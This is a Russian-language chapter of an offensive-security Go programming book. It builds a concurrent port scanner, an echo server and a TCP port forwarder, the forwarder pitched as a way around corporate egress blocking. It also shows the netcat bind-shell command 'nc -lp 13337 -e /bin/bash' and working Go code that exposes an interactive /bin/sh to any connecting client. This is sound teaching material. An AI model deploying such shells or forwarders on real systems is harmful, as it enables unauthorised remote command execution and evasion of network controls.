Предыдущий сканер сканировал серию портов в один заход. Но вашей целью является проверка множества портов параллельно, что существенно ускорит его работу. Для этого мы воспользуемся горутинами. Go позволяет создавать столько горутин, сколько способна обработать ваша система, ограничиваясь только объемом доступной памяти.

Слишком быстрая версия сканера

Самым прямолинейным способом создания параллельного сканера будет обернуть вызов Dial(network,addressstring) в горутину. Чтобы собственными глазами увидеть последствия этого, создайте файл scan-too-fast.go с кодом из листинга 2.4 и выполните его.

Листинг 2.4. Сканер, работающий слишком быстро (/ch-2/tcp-scanner-too-fast/main.go)

package main

 

import (

    "fmt"

    "net"

)

 

func main() {

    for i := 1; i <= 1024; i++ {

        go func(j int) {

            address := fmt.Sprintf("scanme.nmap.org:%d", j)

            conn, err := net.Dial("tcp", address)

            if err != nil {

                return

            }

            conn.Close()

            fmt.Printf("%d open\n", j)

        }(i)

    }

}

При выполнении кода вы заметите, что программа завершается практически мгновенно:

$ time ./tcp-scanner-too-fast

./tcp-scanner-too-fast 0.00s user 0.00s system 90% cpu 0.004 total

Этот код запускает по одной горутине для каждого соединения, а основная горутина не знает, что нужно ждать окончания его установки. В связи с этим выполнение кода завершается, как только цикл for заканчивает перебор, что происходит быстрее, чем сеть успевает осуществить обмен пакетами между кодом и всеми целевыми портами. Поэтому вы не получите точных результатов для портов, чьи пакеты находились в процессе обмена.

Исправить это можно несколькими способами. Первый — использовать WaitGroup из пакета sync, предоставляющий потокобезопасный способ управления параллельным выполнением. WaitGroup — это тип структуры, который создается так:

var wg sync.WaitGroup

Создав WaitGroup, вы можете вызвать для этой структуры несколько методов. Первый метод — Add(int), увеличивающий внутренний счетчик согласно переданному числу. Следующий — метод Done(), уменьшающий счетчик на 1. И наконец, метод Wait(), блокирующий выполнение горутины, в которой вызывается, запрещая дальнейшее выполнение, пока внутренний счетчик не достигнет нуля. Эти вызовы можно совмещать, гарантируя, что основная горутина дождется завершения всех соединений.

Синхронизированное сканирование с помощью WaitGroup

В листинге 2.5 показана предыдущая программа сканирования, но уже с другой реализацией горутин.

Листинг 2.5. Синхронизированный сканер, использующий WaitGroup (/ch-2/tcp-scanner-wg-too-fast/main.go)

package main

 

import (

    "fmt"

    "net"

    "sync"

)

func main() {

var wg sync.WaitGroup

    for i := 1; i <=  1024;  i++ {

      wg.Add(1)

        go func(j int) {

          defer wg.Done()

            address := fmt.Sprintf("scanme.nmap.org:%d", j)

            conn, err := net.Dial("tcp", address)

            if err != nil {

                return

            }

            conn.Close()

            fmt.Printf("%d open\n", j)

        }(i)

    }

wg.Wait()

}

Этот вариант кода по большому счету остался неизменным. Тем не менее здесь мы добавили код, явно отслеживающий оставшуюся работу. В этой версии программы создаем sync.WaitGroup, выступающую в качестве синхронизированного счетчика. Мы увеличиваем этот счетчик через wg.Add(1) при каждом создании горутины для сканирования порта . При этом отложенный вызов wg.Done() уменьшает этот счетчик при завершении каждой единицы работы . Функция main() вызывает wg.Wait(), который блокирует выполнение, пока не будет выполнена вся работа и счетчик не достигнет нуля .

Эта версия программы уже лучше, но по-прежнему имеет недостатки. Если запустить ее несколько раз для разных хостов, можно получить несогласованные результаты. Одновременное сканирование чрезмерного количества хостов или портов может привести к тому, что ограничения системы или сети исказят ­результаты. Попробуйте изменить в коде значение 1024 на 65535 и укажите адрес целевого сервера как 127.0.0.1. При желании можете использовать Wireshark или tcpdump, чтобы увидеть, насколько быстро открываются эти соединения.

Сканирование портов с помощью пула воркеров

Чтобы избежать несогласованности, можно задействовать для управления параллельным выполнением пул горутин. С помощью цикла for вы создаете определенное количество воркеров горутин в качестве пула. Затем в потоке main() с помощью канала обеспечиваете работу.

Для начала создайте новую программу, которая использует канал int, содержит 100 воркеров и выводит их результаты на экран. При этом задействуйте WaitGroup для блокирования выполнения.

Создайте начальную заглушку кода для функции main, а над ней напишите функцию, приведенную в листинге 2.6.

Листинг 2.6. Функция с воркером для выполнения задачи

func worker(ports chan int, wg *sync.WaitGroup) {

    for p := range ports {

        fmt.Println(p)

        wg.Done()

    }

}

Функция worker(int,*sync.WaitGroup) получает два аргумента: канал типа int и указатель на WaitGroup. Канал будет использоваться для получения работы, а WaitGroup — для отслеживания завершения одной ее единицы.

Далее добавьте функцию main(), приведенную в листинге 2.7, которая будет управлять рабочей нагрузкой и обеспечивать работу функции worker(int,*sync.WaitGroup).

Листинг 2.7. Базовый пул воркеров (/ch-2/tcp-sync-scanner/main.go)

package main

 

import (

    "fmt"

    "sync"

)

 

func worker(ports chan int, wg *sync.WaitGroup) {

for p := range ports {

        fmt.Println(p)

        wg.Done()

    }

}

 

func main() {

    ports  :=  make(chan  int,  100)

    var wg sync.WaitGroup

for i := 0; i < cap(ports); i++ {

        go worker(ports, &wg)

    }

    for i := 1; i <= 1024; i++ {

        wg.Add(1)

      ports <- i

    }

    wg.Wait()

close(ports)

}

Сначала создается канал с помощью make(). В make() в качестве второго параметра передается значение 100. Это добавляет каналу буферизацию, то есть в него можно будет отправлять элемент и не ждать, пока получатель этот элемент прочтет. Буферизованные каналы идеально подходят для поддержания и отслеживания работы нескольких производителей и потребителей. Емкость канала определяется как 100. Значит, он может вместить 100 элементов, до того как отправитель будет заблокирован. Это дает небольшой прирост производительности, поскольку все воркеры смогут запускаться сразу.

Далее с помощью цикла for запускается заданное число воркеров — в данном случае 100. В функции worker(int,*sync.WaitGroup) с помощью range происходит непрерывное циклическое получение данных из канала ports, завершающееся только при закрытии канала. Обратите внимание: пока воркер никакой работы не выполняет — это произойдет чуть позже. Последовательно перебирая порты в функции main(), вы отправляете порт через канал ports воркеру. По завершении всей работы закрываете канал .

Запустив эту программу, вы увидите, как на экран выводятся числа. Здесь можно заметить кое-что интересное, а именно то, что выводятся они в конкретном порядке. Добро пожаловать в прекрасный мир многопоточности!

Многоканальная связь

Чтобы завершить создание сканера, можно вставить код, использованный ранее в этом разделе, и это вполне сработает. Но в таком случае выводимые порты будут не отсортированы, так как сканер станет проверять их не по порядку. Решить эту проблему можно, реализовав упорядоченную передачу результатов сканирования в основной поток через дополнительный. Это изменение к тому же позволит полностью устранить зависимость от WaitGroup, так как теперь у вас будет другой метод для отслеживания завершения. Например, если вы сканируете 1024 порта, то делаете по каналу воркера 1024 передачи, после чего снова выполняете 1024 передачи с результатами работы обратно в основной поток. Поскольку количество отправленных единиц работы и полученных результатов совпадает, программа понимает, когда нужно закрывать каналы и, следовательно, отключать воркеры.

Эта модификация кода представлена в листинге 2.8, которым завершается создание сканера.

Листинг 2.8. Сканирование портов через несколько каналов (/ch-2/tcp-scanner-final/main.go)

package main

import (

"fmt"

    "net"

    "sort"

)

 

func worker(ports, results chan int) {

    for p := range ports {

        address := fmt.Sprintf("scanme.nmap.org:%d", p)

        conn, err := net.Dial("tcp", address)

        if err != nil {

          results <- 0

            continue

       }

       conn.Close()

     results  <- p

    }

}

 

func main() {

    ports := make(chan int, 100)

results := make(chan int)

var openports []int

 

    for i := 0; i <  cap(ports);  i++  {

        go worker(ports, results)

    }

 

go func() {

        for i := 1; i <= 1024; i++ {

            ports <- i

        }

    }()

 

for i := 0; i < 1024; i++ {

        port := <-results

        if port  !=  0 {

            openports = append(openports, port)

        }

    }

 

    close(ports)

    close(results)

sort.Ints(openports)

    for _, port := range openports {

        fmt.Printf("%d open\n", port)

    }

}

Функция worker(ports,resultschanint) была изменена для получения двух каналов . Остальная логика почти полностью осталась прежней, за исключением того, что в случае закрытого порта вы отправляете ноль , а в случае открытого — значение этого порта . Кроме того, здесь вы создаете отдельный канал для передачи результатов от воркера в основной поток . Затем результаты сохраняются в срез , что позволяет выполнить их сортировку. Далее вам нужно реализовать отправку данных воркера в отдельной горутине , потому что цикл сбора результатов должен начаться до того, как сможет продолжиться выполнение более 100 единиц работы.

Этот цикл получает по каналу results 1024 передачи. Если порт не равен 0, он добавляется в срез. После закрытия каналов вы используете сортировку для упорядочивания среза открытых портов. Далее остается лишь перебрать срез и вывести открытые порты на экран.

Вот вы и написали высокопроизводительный сканер портов. Уделите время экспериментированию с кодом — в частности, с количеством воркеров. Чем их больше, тем быстрее должна выполняться программа. Но если их окажется слишком много, результаты станут ненадежными. При написании инструментов, которые будут применять другие люди, вам нужно использовать грамотное предустановленное значение, которое ориентировано на надежность, а не на скорость. При этом также следует предоставлять пользователям опцию самостоятельного выбора количества воркеров.

В полученную программу можно внести пару улучшений. Во-первых, вы отправляете по каналу results результат сканирования каждого порта, что необязательно. Альтернативное решение потребует написания более сложного кода, который будет использовать дополнительный канал не только для отслеживания воркеров, но и для предотвращения условия гонки, обеспечивая завершение всех собранных результатов. Поскольку это вводная глава, мы намеренно не стали затрагивать данную тему, чтобы рассмотреть ее в главе 3. Во-вторых, вам может потребоваться, чтобы сканер умел парсить строки с портами, например 80,443,8080,21-25, наподобие тех, что могут быть переданы в Nmap. Если вас интересует реализация этой возможности, загляните в репозиторий по ссылке https://github.com/blackhat-go/bhg/blob/master/ch-2/scanner-port-format/. Мы предлагаем вам освоить этот прием самостоятельно.

Создание TCP-прокси

Вы можете реализовать все TCP-взаимодействия, используя встроенный в Go пакет net. В предыдущем разделе мы сосредоточились главным образом на его применении с позиции клиента. В этом же разделе задействуем его для создания TCP-серверов и передачи данных. Изучение этого процесса начнется с создания эхо-сервера — сервера, который просто возвращает запрос обратно клиенту. Затем мы создадим две более универсальные в применении программы: переадресатор TCP-портов и Netcat-функцию «зияющая дыра в безопасности», применяемую для удаленного выполнения команд.

Использование io.Reader и io.Writer

При создании примеров этого раздела вам потребуется задействовать два значимых типа: io.Reader и io.Writer. Они необходимы для всех задач ввода/вывода (I/O) вне зависимости от того, задействуете вы TCP, HTTP, файловую систему или любые другие средства. Будучи частью встроенного в Go пакета io, эти типы являются краеугольным камнем любой передачи данных, как локальной, так и сетевой. В документации они определены так:

type Reader interface {

    Read(p []byte) (n int, err error)

}

type Writer interface {

    Write(p []byte) (n int, err error)

}

Оба типа определяются как интерфейсы, то есть напрямую их создать нельзя. Каждый тип содержит определение одной экспортируемой функции: Read или Write. Как мы говорили в главе 1, можно рассматривать эти функции как абстрактные методы, которые должны быть реализованы в типе, чтобы он считался Reader или Writer. Например, следующий искусственный тип выполняет это соглашение и может использоваться там, где приемлем Reader:

type FooReader struct {}

func (fooReader *FooReader) Read(p []byte) (int, error) {

    // Считывает данные из любого заданного места

    return len(dataReadFromSomewhere), nil

}

По тому же принципу создан и интерфейс Writer:

type FooWriter struct {}

func (fooWriter *FooWriter) Write(p []byte) (int, error) {

    // Записывает данные в любое указанное место

    return len(dataWrittenSomewhere), nil

}

Давайте с помощью них создадим что-нибудь полуготовое: настраиваемый Reader и Writer, обертывающий stdin и stdout. Код для этого тоже будет несколько искусственным, так как типы Go os.Stdin и os.Stdout уже действуют как Reader и Writer. Но если не пытаться изобрести колесо, то ничему и не научишься, ведь так?

В листинге 2.9 показана полная реализация, а далее дано пояснение.

Листинг 2.9. Реализация reader и writer (/ch-2/io-example/main.go)

package main

 

import (

    "fmt"

    "log"

    "os"

)

 

// FooReader определяет io.Reader для чтения из stdin

type FooReader struct{}

 

// Read считывает данные из stdin

func (fooReader *FooReader) Read(b []byte) (int, error) {

    fmt.Print("in > ")

    return os.Stdin.Read(b)

}

 

// FooWriter определяет io.Writer для записи в Stdout

type FooWriter struct{}

 

// Write записывает данные в Stdout

func (fooWriter *FooWriter) Write(b []byte) (int, error) {

    fmt.Print("out> ")

    return os.Stdout.Write(b)

}

 

func main() {

    // Создаем экземпляры reader и writer

    var (

        reader FooReader

        writer FooWriter

    )

 

    // Создаем буфер для хранения ввода/вывода

input := make([]byte, 4096)

    // Используем reader для чтения ввода

    s,  err  :=  reader.Read(input)

    if err != nil {

        log.Fatalln("Unable to read data")

    }

    fmt.Printf("Read %d bytes from stdin\n", s)

 

    // Используем writer для записи вывода

    s,  err  =  writer.Write(input)

    if err != nil {

        log.Fatalln("Unable to write data")

    }

    fmt.Printf("Wrote %d bytes to stdout\n", s)

}

Этот код определяет два пользовательских типа: FooReader и FooWriter. В каждом типе вы определяете конкретную реализацию функции Read([]byte) для FooReader и функции Write([]byte) для FooWriter. В этом случае обе функции считывают из stdin и записывают в stdout.

Обратите внимание на то, что функции Read и в FooReader, и в os.Stdin возвращают длину данных и все ошибки. Сами эти данные копируются в срез byte, передаваемый этой функции. Это согласуется с начальным определением интерфейса Reader, приведенным в данном разделе ранее. Функция main() создает этот срез с названием input и затем использует его в вызовах к FooRea­der.Read([]byte) и FooReader.Write([]byte).

При пробном запуске программы мы получим следующий вывод:

$ go run main.go

in  >  hello  world!!!

Read 15 bytes from stdin

out> hello world!!!

Wrote 4096 bytes to stdout

Копирование данных из Reader в Writer — это настолько распространенный шаблон, что пакет io содержит специальную функцию Copy(), которую можно задействовать для упрощения функции main(). Вот ее прототип:

func Copy(dst io.Writer, src io.Reader) (written int64, error)

Эта удобная функция позволяет реализовывать то же поведение программы, что и ранее, заменив main() кодом, показанным в листинге 2.10.

Листинг 2.10. Применение io.Copy (/ch-2/copy-example/main.go)

func main() {

    var (

        reader FooReader

        writer FooWriter

    )

    if _, err := io.Copy(&writer, &reader) ; err != nil {

        log.Fatalln("Unable to read/write data")

    }

}

Обратите внимание, что явные вызовы reader.Read([]byte) и writer.Write([]byte) были замещены одним вызовом io.Copy(writer,reader). Внутренне io.Copy(writer,reader) вызывает в переданном ридере функцию Read([]byte), в результате чего FooReader выполняет считывание из stdin. Далее io.Copy(writer,reader) вызывает в переданном райтере функцию Write([]byte), что приводит к вызову FooWriter, записывающего данные в stdout. По сути, io.Copy(writer,reader) обрабатывает последовательный процесс чтения/записи без лишних деталей.

Этот вводный раздел никак нельзя считать подробным рассмотрением системы I/O и интерфейсов в Go. Многие вспомогательные функции и пользовательские ридеры/райтеры существуют как часть стандартных пакетов Go. В большинстве случаев эти стандартные пакеты содержат все основные реализации, необходимые для реализации большинства распространенных задач. В следующем разделе мы рассмотрим применение всех этих основ к TCP-коммуникациям и в итоге применим полученные навыки для разработки реальных рабочих инструментов.

Создание эхо-сервера

Как и во многих языках, изучение процесса чтения/записи данных с сокета мы начнем с построения эхо-сервера. Для этого будем использовать net.Conn — потокоориентированное соединение Go, с которым вы уже познакомились при создании сканера портов. Как указано в документации для этого типа данных, Conn реализует функции Read([]byte) и Write([]byte) согласно определению для интерфейсов Reader и Writer. Следовательно, Conn одновременно является и Reader, и Writer (да, такое возможно). Это вполне логично, так как TCP-соединения двунаправленные и могут использоваться для отправки (записи) и получения (чтения) данных.

После создания экземпляра Conn вы сможете отправлять и получать данные через TCP-сокет. Тем не менее TCP-сервер не может просто создать соединение, его должен установить клиент. В Go для начального открытия TCP-слушателя на конкретном порте можно использовать net.Listen(network,addressstring). После подключения клиента метод Accept() создает и возвращает объект Conn, который вы можете применять для получения и отправки данных.

В листинге 2.11 показан полноценный пример реализации сервера. Для большей ясности мы добавили в код комментарии. Не стремитесь сразу понять весь код, так как позже мы подробно его поясним.

Листинг 2.11. Базовый эхо-сервер (/ch-2/echo-server/main.go)

package main

 

import (

    "log"

    "net"

)

// echo — это функция-обработчик, просто отражающая полученные данные

func echo(conn net.Conn) {

    defer conn.Close()

 

    // Создаем буфер для хранения полученных данных

    b := make([]byte, 512)

for {

        // Получаем данные через conn.Read в буфер

        size, err := conn.Read(b[0:])

        if err == io.EOF {

            log.Println("Client disconnected")

            break

        }

        if err != nil {

            log.Println("Unexpected error")

            break

        }

        log.Printf("Received %d bytes: %s\n", size, string(b))

 

        // Отправляем данные через conn.Write

        log.Println("Writing data")

        if _, err := conn.Write(b[0:size]); err != nil {

            log.Fatalln("Unable to write data")

        }

    }

}

 

func main() {

    // Привязываемся к TCP-порту 20080 во всех интерфейсах

listener, err := net.Listen("tcp", ":20080")

    if err != nil {

        log.Fatalln("Unable to bind to port")

    }

    log.Println("Listening on 0.0.0.0:20080")

for {

        // Ожидаем соединения и при его установке создаем net.Conn

      conn, err := listener.Accept()

        log.Println("Received connection")

        if err != nil {

            log.Fatalln("Unable to accept connection")

        }

        // Обрабатываем соединение, используя горутины для многопоточности

      go echo(conn)

    }

}

Листинг 2.11 начинается с определения функции echo(net.Conn), которая принимает в качестве параметра экземпляр Conn. Он выступает в роли обработчика соединения, выполняя все необходимые операции I/O. Эта функция повторяется бесконечно , используя буфер для считывания данных из соединения и их записи в него . Данные считываются в переменную b, после чего записываются обратно в соединение.

Теперь нужно настроить слушатель, который будет вызывать обработчик. Как ранее говорилось, сервер не может сам создать соединение и должен прослушивать подключение клиента. Следовательно, слушатель, определенный как tcp, привязанный к порту 20080, запускается во всех интерфейсах посредством функции net.Listen(network,addressstring).

Далее бесконечный цикл обеспечивает, чтобы сервер продолжал прослушивание соединений даже после того, как оно было установлено. В этом цикле происходит вызов listener.Accept() — функции, блокирующей выполнение при ожидании подключений. Когда клиент подключается, эта функция возвращает экземпляр Conn. Напомним, что Conn является и Reader, и Writer (реализует методы интерфейса Read([]byte) и Write([]byte)).

После этого экземпляр Conn передается в функцию обработки echo(net.Conn). Перед ее вызовом указано ключевое слово go, делающее этот вызов многопоточным, в результате чего другие подключения в ожидании завершения функции-обработчика не блокируются. Это может показаться излишним для столь простого сервера, но мы добавили эту функциональность для демонстрации простоты паттерна многопоточности Go на случай, если вы еще не до конца его поняли. В данный момент у вас есть два легковесных параллельно выполняющихся потока.

Основной поток зацикливается и блокируется функцией listener.Accept() на время ожидания ею следующего подключения.

Горутина обработки, чье выполнение было передано в функцию echo(net.Conn), возобновляется и обрабатывает данные.

Далее показан пример использования Telnet в качестве подключающегося ­клиента:

$ telnet localhost 20080

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

test of the echo server

test of the echo server

Сервер производит следующий стандартный вывод:

$ go run main.go

2020/01/01 06:22:09 Listening on 0.0.0.0:20080

2020/01/01 06:22:14 Received connection

2020/01/01 06:22:18 Received 25 bytes: test of the echo server

2020/01/01 06:22:18 Writing data

Революционно, не правда ли? Сервер, возвращающий клиенту в точности то, что клиент ему отправил. Очень полезный и сильный пример!

Создание буферизованного слушателя для улучшения кода

Пример в листинге 2.11 работает прекрасно, но он опирается на чисто низкоуровневые вызовы функции, отслеживание буфера и повторяющиеся циклы чтения/записи. Это довольно утомительный и подверженный ошибкам процесс. К счастью, в Go есть и другие пакеты, которые могут его упростить и уменьшить сложность кода. Говоря конкретнее, пакет bufio обертывает Reader и Writer для создания буферизованного механизма I/O. Далее приведена обновленная функция echo(net.Conn) с сопутствующим описанием изменений:

func echo(conn net.Conn) {

    defer conn.Close()

 

reader := bufio.NewReader(conn)

    s, err := reader.ReadString('\n')

    if err != nil {

        log.Fatalln("Unable to read data")

    }

    log.Printf("Read %d bytes: %s", len(s), s)

 

    log.Println("Writing data")

writer := bufio.NewWriter(conn)

    if _, err := writer.WriteString(s); err != nil {

        log.Fatalln("Unable to write data")

    }

writer.Flush()

}

В экземпляре Conn больше не происходит прямого вызова функций Read([]byte) и Write([]byte). Вместо этого вы инициализируете новые буферизованные Reader и Writer через NewReader(io.Reader) и NewWriter(io.Writer). Оба вызова в качестве параметра получают существующие Reader и Writer (помните, что тип Conn реализует необходимые функции, чтобы считаться Reader и Writer).

Оба буферизованных экземпляра содержат вспомогательные функции для чтения и сохранения данных. ReadString(byte) получает символ-разграничитель, обозначая, до какой точки выполнять считывание, а WriteString(byte) записывает строку в сокет. При записи данных вам нужно явно вызывать writer.Flush() для сброса всех данных внутреннему райтеру (в данном случае экземпляру Conn).

Несмотря на то что предыдущий пример упрощает процесс, применяя буферизацию I/O, вы можете переработать его под использование вспомогательной функции Copy(Writer,Reader). Напомним, что функция получает в качестве ввода целевой Writer и исходный Reader, просто выполняя копирование из источника в место назначения.

В этом примере вы передаете переменную conn и как источник, и как место назначения, так как в итоге будете отражать содержимое обратно в установленное соединение:

func echo(conn net.Conn) {

    defer conn.Close()

    // Копируем данные из io.Reader в io.Writer через io.Copy()

    if _, err := io.Copy(conn, conn); err != nil {

        log.Fatalln("Unable to read/write data")

    }

}

Вот вы и познакомились с основами системы I/O, попутно применив ее к TCP-серверам. Пришло время перейти к более полезным и представляющим для вас интерес примерам.

Проксирование TCP-клиента

Теперь, когда у вас под ногами есть твердая почва, можете применить полученные навыки для создания простого переадресатора портов для проксирования соединения через промежуточный сервис или хост. Как уже говорилось, это пригождается для обхода ограничивающего контроля исходящего трафика или использования системы с целью обхода сегментации сети.

Прежде чем перейти к коду, рассмотрите вымышленную, но вполне реалистичную задачу: Джо является малоэффективным сотрудником компании ACME Inc., работая на должности бизнес-аналитика и получая приличную зарплату просто потому, что слегка приукрасил данные своего резюме. (Неужели он реально учился в школе Лиги плюща? Джо, такой обман неэтичен.) Недостаток мотивации Джо может по силе сравниться разве что с его любовью к кошкам — такой сильной, что он даже установил дома специальные видеокамеры и создал сайт joescatcam.website, через который удаленно следил за своими мохнатыми питомцами. Тем не менее здесь была одна сложность: ACME следит за Джо. Им не нравится, что он круглые сутки передает потоковое видео своих кошек в ультравысоком разрешении 4K, занимая ценный пропускной канал сети. Компания даже заблокировала своим сотрудникам возможность посещать его кошачий сайт.

Но у хитрого Джо и здесь возник план: «А что, если я настрою переадресатор портов в подконтрольной мне интернет-системе и буду перенаправлять весь трафик с этого хоста на joescatcam.website?» На следующий день Джо отмечается на работе и убеждается в возможности доступа к личному сайту, размещенному на домене joesproxy.com. Он пропускает все встречи после обеда и отправляется в кафетерий, где быстро пишет код для своей задачи, подразумевающей перенаправление на http://joescatcam.website всего входящего на http://joesproxy.com трафика.

Вот код Джо, который он запускает на сервере joesproxy.com:

func handle(src net.Conn) {

    dst, err := net.Dial("tcp", "joescatcam.website:80")

    if err != nil {

        log.Fatalln("Unable to connect to our unreachable host")

    }

    defer dst.Close()

 

    // Выполняется в горутине для предотвращения блокировки io.Copy

go func() {

        // Копируем вывод источника в получателя

        if _, err := io.Copy(dst, src); err != nil {

            log.Fatalln(err)

        }

    }()

    // Копирование вывода получателя обратно в источник

    if _, err := io.Copy(src, dst); err != nil {

        log.Fatalln(err)

    }

}

func main() {

    // Прослушивание локального порта 80

    listener, err := net.Listen("tcp", ":80")

    if err != nil {

        log.Fatalln("Unable to bind to port")

    }

 

    for {

        conn, err := listener.Accept()

        if err != nil {

            log.Fatalln("Unable to accept connection")

        }

        go handle(conn)

    }

}

Начнем с рассмотрения функции handle(net.Conn). Джо подключается к joescatcam.website (вспомните, что этот хост недоступен напрямую с его рабочего места). Затем он использует Copy(Writer,Reader) в двух разных местах. Первый экземпляр обеспечивает копирование данных из входящего соединения в соединение joescatcam.website. Второй же обеспечивает, чтобы считанные из joescatcam.website данные записывались обратно в соединение подключающегося клиента. Так как Copy(Writer,Reader) является блокирующей функцией и будет продолжать блокировать выполнение, пока сетевое соединение открыто, Джо предусмотрительно обертывает первый вызов Copy(Writer,Reader) в новую горутину . Это гарантирует продолжение выполнения в функции handle(net.Conn) и дает возможность выполнить второй вызов Copy(Writer,Reader).

Прокси-сервер Джо прослушивает порт 80 и ретранслирует весь трафик, получаемый через это соединение, на порт 80 сайта joescatcam.website и обратно. Этот безум­ный и расточительный парень убеждается, что может подключаться к joescatcam.website через joesproxy.com с помощью curl:

$ curl -i -X GET http://joesproxy.com

HTTP/1.1 200 OK

Date: Wed, 25 Nov 2020 19:51:54 GMT

Server: Apache/2.4.18 (Ubuntu)

Last-Modified: Thu, 27 Jun 2019 15:30:43 GMT

ETag: "6d-519594e7f2d25"

Accept-Ranges: bytes

Content-Length: 109

Vary: Accept-Encoding

Content-Type: text/html

--пропуск--

Так Джо успешно реализует коварный замысел. Он прекрасно устроился, получив возможность в оплачиваемое ACME время использовать их же канал связи для наблюдения за жизнью своих питомцев.

Воспроизведение функции Netcat для выполнения команд

В этом разделе мы воспроизведем одну из наиболее интересных функций Netcat — «зияющую дыру в безопасности».

Netcat — это как швейцарский армейский нож для TCP/IP, который представляет собой более гибкую версию Telnet с поддержкой сценариев. Эта утилита имеет возможность перенаправлять stdin и stdout любой произвольной программы через TCP, позволяя атакующему, например, превратить уязвимость к выполнению одной команды в доступ к оболочке операционной системы. Взгляните:

$ nc -lp 13337 -e /bin/bash

Эта команда создает прослушивающий сервер на порте 13337. Любой подключающийся, возможно, через Telnet, клиент сможет выполнить любые команды bash — вот почему данную функцию и называют зияющей дырой в безопасности. Netcat позволяет при желании включить такую возможность в процессе компиляции программы. (По понятным причинам большинство исполняемых файлов Netcat в стандартных сборках Linux ее не включают.) Эта функция настолько потенциально опасна, что мы покажем, как воссоздать ее в Go.

Для начала загляните в пакет Go os/exec. Он будет использоваться для выполнения команд операционной системы. Этот пакет определяет тип Cmd, который содержит необходимые методы и свойства для выполнения команд и управления stdin и stdout. Вы будете перенаправлять stdin (Reader) и stdout (Writer) в экземпляр Conn, представляющий и Reader, и Writer.

При получении нового подключения создать экземпляр Cmd можно с помощью функции Command(namestring,arg...string) из os/exec. Эта функция получает в качестве параметров команды ОС и любые аргументы. В данном примере нужно жестко закодировать в качестве команды /bin/sh и передать в качестве аргумента -i, чтобы перейти в интерактивный режим, из которого можно будет управлять потоками stdin и stdout более уверенно:

cmd := exec.Command("/bin/sh", "-i")

Эта инструкция создает экземпляр Cmd, но команду еще не выполняет. Здесь для управления stdin и stdout есть два варианта: использовать Copy(Writer,Reader), как говорилось ранее, или напрямую присвоить Reader и Writer экземпляру Cmd. Давайте непосредственно присвоим объект Conn экземплярам cmd.Stdin и cmd.Stdout:

cmd.Stdin = conn

cmd.Stdout = conn

После настройки команды и потоков запустить ее можно с помощью cmd.Run():

if err := cmd.Run(); err != nil {

    // Обработка ошибки

}

Такая логика прекрасно работает для систем Linux. Тем не менее при настройке и запуске этой программы под Windows с помощью cmd.exe, а не /bin/bash, подключающийся клиент не получает вывод команды из-за специфичной для Windows обработки анонимных каналов. Далее описаны два решения этой проблемы.

Во-первых, можно настроить код для принудительного сброса stdout. Вместо непосредственного присваивания Conn экземпляру cmd.Stdout нужно реализовать собственный Writer, который обертывает bufio.Writer (буферизованный райтер) и явно вызывает его метод Flush для принудительного сброса буфера. Пример использования bufio.Writer можно найти в разделе «Создание эхо-сервера» ранее в этой главе.

Вот определение пользовательского райтера, Flusher:

// Flusher обертывает bufio.Writer, явно делая сброс при каждой записи

type Flusher struct {

    w *bufio.Writer

}

 

// NewFlusher создает новый Flusher из io.Writer

func NewFlusher(w io.Writer) *Flusher {

    return &Flusher{

        w: bufio.NewWriter(w),

    }

}

 

// Write записывает байты и явно сбрасывает буфер

func (foo *Flusher) Write(b []byte) (int, error) {

    count, err := foo.w.Write(b)

    if err != nil {

        return -1, err

    }

    if err := foo.w.Flush(); err != nil {

        return -1, err

    }

    return count, err

}

Тип Flusher реализует функцию Write([]byte), которая записывает данные во внутренний буферизованный райтер, а затем сбрасывает вывод.

С помощью этой реализации пользовательского райтера можно настроить обработчик подключений на создание экземпляра и применение типа Flusher для cmd.Stdout:

func handle(conn net.Conn) {

    // Явный вызов /bin/sh и использование -i для перехода

    // в интерактивный режим, чтобы применять его для stdin и stdout.

    // Для Windows используйте exec.Command("cmd.exe").

    cmd := exec.Command("/bin/sh", "-i")

 

    // Установка stdin на подключение

    connection cmd.Stdin = conn

    // Создание Flusher из подключения, чтобы использовать его для stdout.

    // Это гарантирует правильный сброс stdout

    // и его отправку через net.Conn

    cmd.Stdout = NewFlusher(conn)

 

    // Выполнение команды

    if err := cmd.Run(); err != nil {

        log.Fatalln(err)

    }

}

Это решение хотя и вполне пригодно, но не очень элегантно. Несмотря на то что рабочий код для нас важнее, чем аккуратный, мы используем эту проблему как возможность рассказать о функции io.Pipe(). Она представляет собой синхронный канал в памяти Go, который можно задействовать для подключения Reader и Writer:

func Pipe() (*PipeReader, *PipeWriter)

Применение PipeReader и PipeWriter позволяет избежать необходимости явного сброса райтера и синхронного подключения stdout и TCP-соединения. Опять же понадобится переписать функцию обработчика:

func handle(conn net.Conn) {

    // Явный вызов /bin/sh и указание -i для перехода

    // в интерактивный режим, чтобы применять его для stdin и stdout.

    // Для Windows используйте exec.Command("cmd.exe")

    cmd := exec.Command("/bin/sh", "-i")

    // Установка stdin на подключение

    rp,  wp  :=  io.Pipe()

    cmd.Stdin = conn

cmd.Stdout = wp

go io.Copy(conn, rp)

    cmd.Run() conn.Close()

}

Вызов io.Pipe создает ридер и райтер, подключаемые синхронно, — любые данные, записываемые в райтер (в данном примере wp), будут считаны ридером (rp). Поэтому сначала происходит присваивание райтера экземпляру cmd.Stdout, после чего используется io.Copy(conn,rp) для присоединения PipeReader к TCP-соединению. Это делается с помощью горутины, предотвращающей блокирование кода. Любой стандартный вывод команды отправляется райтеру, после чего передается ридеру и далее через TCP-соединение. Как вам такая элегантность?

Таким образом, мы успешно реализовали «зияющую дыру безопасности» Netcat с позиции TCP-слушателя, ожидающего подключения. По тому же принципу можно реализовать эту функцию с позиции подключающегося клиента, перенаправляющего stdout и stdin локального исполняемого файла удаленному слушателю. Детали этого процесса мы оставим вам для самостоятельной реализации, но в общем они будут включать следующее:

установку подключения к удаленному слушателю через net.Dial(network,addressstring);

• инициализацию Cmd через exec.Command(namestring,arg...string);

• перенаправление свойств Stdin и Stdout для использования объекта net.Conn;

выполнение команды.

На этом этапе слушатель должен получить подключение. Любые передаваемые клиенту данные должны интерпретироваться на клиенте как stdin, а данные, получаемые слушателем, — как stdout. Весь код этого примера находится в репозитории по адресу https://github.com/blackhat-go/bhg/blob/master/ch-2/netcat-exec/main.go.

Резюме

Разобравшись с практической стороной применения Go в плане сетей, I/O и многопоточности, пора переходить к созданию HTTP-клиентов.

1 Это бесплатный сервис, предоставленный создателем Nmap Федором. Но не стоит слишком усердствовать с его применением. Хозяин ресурса просит «не нагружать сервер и делать не более нескольких сканирований в день, но никак не 100».

